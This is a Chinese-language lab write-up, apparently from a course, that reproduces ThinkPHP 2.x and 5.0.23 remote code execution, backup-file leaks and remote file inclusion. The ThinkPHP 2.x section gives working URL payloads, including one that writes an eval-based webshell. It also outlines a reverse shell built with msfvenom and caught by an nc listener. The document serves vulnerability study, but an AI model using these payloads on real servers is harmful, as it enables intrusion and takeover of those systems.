漏洞复现合集(一)
1.Thinkphp2.x 命令执行漏洞
环境:
漏洞POC参考:https://www.seebug.org/vuldb/ssvid-93252
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
1.漏洞payload:
http://192.168.137.128/index.php/index/index/name/${@phpinfo()}
实际测试时只要路径满足为3层就会触发命令执行
2.写入shell
http://192.168.137.128/index.php/1/2/3/${@print(eval($_POST[1]))}
实际页面会报错,但是可以连接getshell
或是直接用命令查看目录和敏感文件(这里是Windows环境)
用msfvenom生成个弹shell程序挂自己网站上
在服务器上先监听nc -lvp 4444
Windows上下载下来后再执行反弹shell
2.Thinkphp5.0.23远程代码命令执行漏洞
攻防实验课让做的,截图里的学号注释了,嫌麻烦没有全部放上来
1.寻找构造链(GET型)
漏洞验证:
2.POST型(寻找构造链就省略了,方法类似)
这里我们能控制$methos来修改POST的内容,__construct构造时来覆盖内容,执行我们想要执行的代码
3.网站备份文件泄露
没啥好说的
4.远程文件包含
修改不存在文件报错,确认是文件包含
远程文件包含,实际测试时只能包含本地服务器上的非php文件
php.ini配置时加了.;是只能包含本地的文件
for inclusion (include_path='.;C:\php5\pear') in C:\phpStudy\WWW\index.php on line 4for inclusion (include_path='.;C:\php5\pear') in C:\phpStudy\WWW\index.php on line 4
其他情况时包含在自己服务器上准备的shell文件,连接就行了
[Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你